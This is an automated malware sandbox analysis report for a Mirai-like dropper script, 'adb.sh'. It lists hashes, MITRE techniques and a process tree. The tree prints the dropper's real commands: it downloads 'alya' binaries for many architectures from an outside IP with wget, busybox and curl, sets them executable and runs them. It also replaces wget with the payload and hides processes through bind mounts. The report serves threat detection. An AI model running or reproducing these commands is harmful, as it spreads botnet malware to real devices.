59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03/10/2026, 18:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adb.sh
Size 1KB
Sample261003-w4mncsvz3j
SHA256 59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9
MD5 2c4c45344faf403b4d69b5e71147d976
SHA1 2414d19a137513c3beda81cbbb14f1b94ae82dec
SHA512 d6356d2e4b69ed3f2a4757eeb22ce25f8e201131a47158a143638f0662c2b663a0cfbd7ee444c7bb27d4aa22638d87a5142ad4a5e56959b72e8fe0039f6efc4a
TLSH
T18B21BB5898331826F3C5A878B14B20806971C27B3921AFECBECD54E5EF0890E73D468E
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 45 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1180	chmod
1191	chmod
854	chmod
889	chmod
939	chmod
810	chmod
873	chmod
1095	chmod
1146	chmod
1168	chmod
1174	chmod
911	chmod
927	chmod
1032	chmod
1100	chmod
1106	chmod
1123	chmod
828	chmod
995	chmod
1010	chmod
1023	chmod
1061	chmod
1072	chmod
1083	chmod
1157	chmod
879	chmod
933	chmod
990	chmod
1066	chmod
1112	chmod
1129	chmod
1151	chmod
1185	chmod
982	chmod
1044	chmod
1049	chmod
1117	chmod
1134	chmod
1055	chmod
1078	chmod
1089	chmod
1163	chmod
1000	chmod
1038	chmod
1140	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/alya.arc	811	adb.sh
/tmp/alya.arc	829	adb.sh
/tmp/alya.arc	855	adb.sh
/usr/bin/wget	994	adb.sh
/usr/bin/wget	1020	adb.sh
/usr/bin/wget	1043	adb.sh
/usr/bin/wget	1060	adb.sh
/usr/bin/wget	1077	adb.sh
/usr/bin/wget	1094	adb.sh
/usr/bin/wget	1111	adb.sh
/usr/bin/wget	1128	adb.sh
/usr/bin/wget	1145	adb.sh
/usr/bin/wget	1162	adb.sh
/usr/bin/wget	1179	adb.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	alya.mips
File opened for modification	/dev/misc/watchdog	alya.mips

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/wget.p	sh
File opened for modification	/usr/bin/wget	cp

Changes its process name 3 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	949	alya.mips
Changes the process name, possibly in an attempt to hide itself	967	alya.mips
Changes the process name, possibly in an attempt to hide itself	1006	alya.mips

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/74/cmdline	alya.mips
File opened for reading	/proc/717/cmdline	alya.mips
File opened for reading	/proc/71/cmdline	alya.mips
File opened for reading	/proc/7/cmdline	alya.mips
File opened for reading	/proc/18/cmdline	alya.mips
File opened for reading	/proc/76/cmdline	alya.mips
File opened for reading	/proc/176/cmdline	alya.mips
File opened for reading	/proc/1105/cmdline	alya.mips
File opened for reading	/proc/1190/cmdline	alya.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1023/cmdline	alya.mips
File opened for reading	/proc/1156/cmdline	alya.mips
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/17/cmdline	alya.mips
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/332/cmdline	alya.mips
File opened for reading	/proc/678/cmdline	alya.mips
File opened for reading	/proc/1/cmdline	cp
File opened for reading	/proc/1167/cmdline	alya.mips
File opened for reading	/proc/12/cmdline	alya.mips
File opened for reading	/proc/15/cmdline	alya.mips
File opened for reading	/proc/19/cmdline	alya.mips
File opened for reading	/proc/24/cmdline	alya.mips
File opened for reading	/proc/714/cmdline	alya.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/72/cmdline	alya.mips
File opened for reading	/proc/1054/cmdline	alya.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1065/cmdline	alya.mips
File opened for reading	/proc/1184/cmdline	alya.mips
File opened for reading	/proc/36/cmdline	alya.mips
File opened for reading	/proc/125/cmdline	alya.mips
File opened for reading	/proc/334/cmdline	alya.mips
File opened for reading	/proc/381/cmdline	alya.mips
File opened for reading	/proc/679/cmdline	alya.mips
File opened for reading	/proc/1/status	cp
File opened for reading	/proc/1/statm	cp
File opened for reading	/proc/703/cmdline	alya.mips
File opened for reading	/proc/999/cmdline	alya.mips
File opened for reading	/proc/1103/cmdline	alya.mips
File opened for reading	/proc/14/cmdline	alya.mips
File opened for reading	/proc/1/stat	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/cmdline	alya.mips
File opened for reading	/proc/154/cmdline	alya.mips
File opened for reading	/proc/227/cmdline	alya.mips
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1188/cmdline	alya.mips
File opened for reading	/proc/mounts	adb.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/23/cmdline	alya.mips
File opened for reading	/proc/711/cmdline	alya.mips
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/cmdline	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/3/cmdline	alya.mips
File opened for reading	/proc/16/cmdline	alya.mips
File opened for reading	/proc/77/cmdline	alya.mips
File opened for reading	/proc/336/cmdline	alya.mips
File opened for reading	/proc/430/cmdline	alya.mips

System Network Configuration Discovery 1 TTPs 26 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1081	rm
1084	alya.mipsel
1087	rm
937	rm
948	cp
954	rm
983	alya.mips
984	rm
992	rm
1092	rm
938	wget
950	rm
985	rm
986	curl
1076	rm
1077	wget
1079	alya.mipsel
1080	rm
940	alya.mips
946	sh
956	busybox
1082	busybox
1086	rm
1088	curl
1090	alya.mipsel
991	alya.mips

Writes file to tmp directory 46 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/alya.armv6l	wget
File opened for modification	/tmp/alya.armv6l	curl
File opened for modification	/tmp/alya.mips	curl
File opened for modification	/tmp/alya.i686	curl
File opened for modification	/tmp/alya.powerpc	busybox
File opened for modification	/tmp/alya.x86_64	busybox
File opened for modification	/tmp/alya.mips	wget
File opened for modification	/tmp/alya.sh4	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/alya.mipsel	busybox
File opened for modification	/tmp/alya.x86_64	curl
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.arc	busybox
File opened for modification	/tmp/alya.i586	wget
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.sh4	busybox
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.i686	busybox
File opened for modification	/tmp/alya.m68k	busybox
File opened for modification	/tmp/alya.armv6l	busybox
File opened for modification	/tmp/alya.i586	curl
File opened for modification	/tmp/alya.armv7l	curl
File opened for modification	/tmp/alya.i486	curl
File opened for modification	/tmp/alya.m68k	curl
File opened for modification	/tmp/alya.powerpc	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/alya.sparc	busybox
File opened for modification	/tmp/alya.mips	busybox
File opened for modification	/tmp/alya.armv4l	busybox
File opened for modification	/tmp/alya.sparc	curl
File opened for modification	/tmp/alya.i486	busybox
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.arc	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.armv7l	busybox
File opened for modification	/tmp/alya.armv5l	busybox
File opened for modification	/tmp/alya.armv4l	curl
File opened for modification	/tmp/alya.arc	wget
File opened for modification	/tmp/alya.i586	busybox
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.mipsel	curl
File opened for modification	/tmp/alya.armv5l	curl

/tmp/adb.sh
/tmp/adb.sh
1⤵
- Executes dropped EXE
- Reads runtime system information
PID:717
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:720
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:727
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:728
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:730
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:732
- /bin/readlink
  readlink /proc/124/exe
  2⤵
  PID:734
- /bin/readlink
  readlink /proc/125/exe
  2⤵
  PID:736
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:738
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:740
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:742
- /bin/readlink
  readlink /proc/154/exe
  2⤵
  PID:744
- /bin/readlink
  readlink /proc/159/exe
  2⤵
  PID:745
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:746
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:747
- /bin/readlink
  readlink /proc/176/exe
  2⤵
  PID:748
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:750
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:751
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:753
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:754
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:755
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:756
- /bin/readlink
  readlink /proc/227/exe
  2⤵
  PID:758
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:760
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:761
- /bin/readlink
  readlink /proc/242/exe
  2⤵
  PID:763
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:764
- /bin/readlink
  readlink /proc/331/exe
  2⤵
  PID:765
- /bin/readlink
  readlink /proc/332/exe
  2⤵
  PID:766
- /bin/readlink
  readlink /proc/334/exe
  2⤵
  PID:767
- /bin/readlink
  readlink /proc/336/exe
  2⤵
  PID:769
- /bin/readlink
  readlink /proc/36/exe
  2⤵
  PID:770
- /bin/readlink
  readlink /proc/367/exe
  2⤵
  PID:771
- /bin/readlink
  readlink /proc/37/exe
  2⤵
  PID:772
- /bin/readlink
  readlink /proc/381/exe
  2⤵
  PID:773
- /bin/readlink
  readlink /proc/382/exe
  2⤵
  PID:774
- /bin/readlink
  readlink /proc/387/exe
  2⤵
  PID:775
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:777
- /bin/readlink
  readlink /proc/430/exe
  2⤵
  PID:778
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:779
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:780
- /bin/readlink
  readlink /proc/660/exe
  2⤵
  PID:781
- /bin/readlink
  readlink /proc/674/exe
  2⤵
  PID:782
- /bin/readlink
  readlink /proc/676/exe
  2⤵
  PID:783
- /bin/readlink
  readlink /proc/678/exe
  2⤵
  PID:784
- /bin/readlink
  readlink /proc/679/exe
  2⤵
  PID:785
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:786
- /bin/readlink
  readlink /proc/70/exe
  2⤵
  PID:787
- /bin/readlink
  readlink /proc/703/exe
  2⤵
  PID:788
- /bin/readlink
  readlink /proc/705/exe
  2⤵
  PID:789
- /bin/readlink
  readlink /proc/71/exe
  2⤵
  PID:790
- /bin/readlink
  readlink /proc/711/exe
  2⤵
  PID:791
- /bin/readlink
  readlink /proc/713/exe
  2⤵
  PID:792
- /bin/readlink
  readlink /proc/714/exe
  2⤵
  PID:793
- /bin/readlink
  readlink /proc/715/exe
  2⤵
  PID:794
- /bin/readlink
  readlink /proc/717/exe
  2⤵
  PID:795
- /bin/readlink
  readlink /proc/719/exe
  2⤵
  PID:796
- /bin/readlink
  readlink /proc/72/exe
  2⤵
  PID:797
- /bin/readlink
  readlink /proc/73/exe
  2⤵
  PID:798
- /bin/readlink
  readlink /proc/74/exe
  2⤵
  PID:799
- /bin/readlink
  readlink /proc/75/exe
  2⤵
  PID:800
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:801
- /bin/readlink
  readlink /proc/77/exe
  2⤵
  PID:802
- /bin/readlink
  readlink /proc/79/exe
  2⤵
  PID:803
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:804
- /bin/readlink
  readlink /proc/80/exe
  2⤵
  PID:805
- /bin/readlink
  readlink /proc/82/exe
  2⤵
  PID:806
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:807
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:808
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:811
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:813
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:814
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:829
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:831
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:855
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:858
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:861
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:863
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:874
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:876
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:877
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:878
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:880
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:882
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv6l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:891
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:894
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:896
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:897
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:912
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:914
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:917
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:918
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:928
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:930
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i586
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:934
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:936
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:937
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:938
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:940
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.r;mv /usr/bin/wget /usr/bin/wget.r"
    3⤵
    PID:941
  - - /bin/rm
      rm -rf /usr/bin/wget.r
      4⤵
      PID:942
  - - /bin/mv
      mv /usr/bin/wget /usr/bin/wget.r
      4⤵
      Reads runtime system information
      PID:943
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.p;echo \"/usr/bin/wget.r\" > /usr/bin/wget.p"
    3⤵
    - Write file to user bin folder
    PID:944
  - - /bin/rm
      rm -rf /usr/bin/wget.p
      4⤵
      PID:945
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget;cp /tmp/alya.mips /usr/bin/wget"
    3⤵
    - System Network Configuration Discovery
    PID:946
  - - /bin/rm
      rm -rf /usr/bin/wget
      4⤵
      PID:947
  - - /bin/cp
      cp /tmp/alya.mips /usr/bin/wget
      4⤵
      Write file to user bin folder
      Reads runtime system information
      System Network Configuration Discovery
      PID:948
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:951
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:952
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:953
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:955
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:957
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:958
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:959
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:960
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:961
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:962
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:963
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:964
- - /bin/sh
    sh -c "mount --bind /tmp /proc/949"
    3⤵
    PID:965
  - - /bin/mount
      mount --bind /tmp /proc/949
      4⤵
      PID:966
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:968
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:969
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:970
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:971
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:972
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Writes file to tmp directory
      PID:973
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:974
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:975
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:976
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:977
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:978
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:979
- - /bin/sh
    sh -c "mount --bind /tmp /proc/967"
    3⤵
    PID:980
  - - /bin/mount
      mount --bind /tmp /proc/967
      4⤵
      PID:981
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:1007
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:1008
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:1009
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:1013
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:1014
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1015
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:1017
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:1018
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1021
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:1022
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:1024
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:1025
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1006"
    3⤵
    PID:1026
  - - /bin/mount
      mount --bind /tmp /proc/1006
      4⤵
      Reads runtime system information
      PID:1028
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:950
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:954
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:956
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:984
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:985
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:986
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:992
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:993
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sh4
  2⤵
  PID:994
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:996
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:997
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:998
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:999
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:1001
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:1003
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:1004
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:1005
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:1011
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:1016
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1019
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv4l
  2⤵
  PID:1020
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1023
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:1027
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1029
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1030
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1031
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1032
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:1033
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1035
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1036
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv4l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1037
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1038
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:1039
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1041
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1042
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv7l
  2⤵
  PID:1043
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1044
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:1045
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1046
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1047
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1048
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1049
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:1050
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1052
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1053
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1054
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1055
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:1056
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1058
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1059
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i686
  2⤵
  PID:1060
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1061
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1062
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1063
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1064
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i686
  2⤵
  - Writes file to tmp directory
  PID:1065
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1066
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1067
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1069
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1070
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i686
  2⤵
  - Writes file to tmp directory
  PID:1071
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1072
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1073
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1075
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1076
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1077
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1078
